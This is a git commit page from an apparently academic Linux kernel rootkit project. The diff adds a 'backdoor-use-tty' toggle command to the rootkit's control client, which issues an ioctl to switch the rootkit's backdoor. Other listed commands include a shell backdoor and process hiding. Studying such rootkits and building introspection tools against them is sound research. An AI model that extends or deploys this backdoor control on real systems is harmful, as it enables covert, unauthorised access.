linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit fbe2cb88bab55c1b79f0d705b8966b718d938c2d
parent 6d2237b91f812b8249786716f51fa8009333a5f9
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 28 Nov 2020 12:06:43 +0100

adds togglebd (backdoor-use-tty) command to client

Diffstat:
Msrc/rkctl/rkctl.c | 8+++++++-
1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -58,7 +58,12 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "backdoor-use-tty")) { ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>"); - // TODO: return backdoor-use-tty handle + + if (ARGVCMP(2, "0")) + return (cmd_t){ handle_togglebd, (void *)0 }; + + if (ARGVCMP(2, "1")) + return (cmd_t){ handle_togglebd, (void *)1 }; } if (ARGVCMP(1, "hidepid")) { @@ -110,6 +115,7 @@ handle_shellbd(void *arg) int handle_togglebd(void *arg) { + return issue_ioctl(G7_TOGGLEBD, (const char *)arg); } int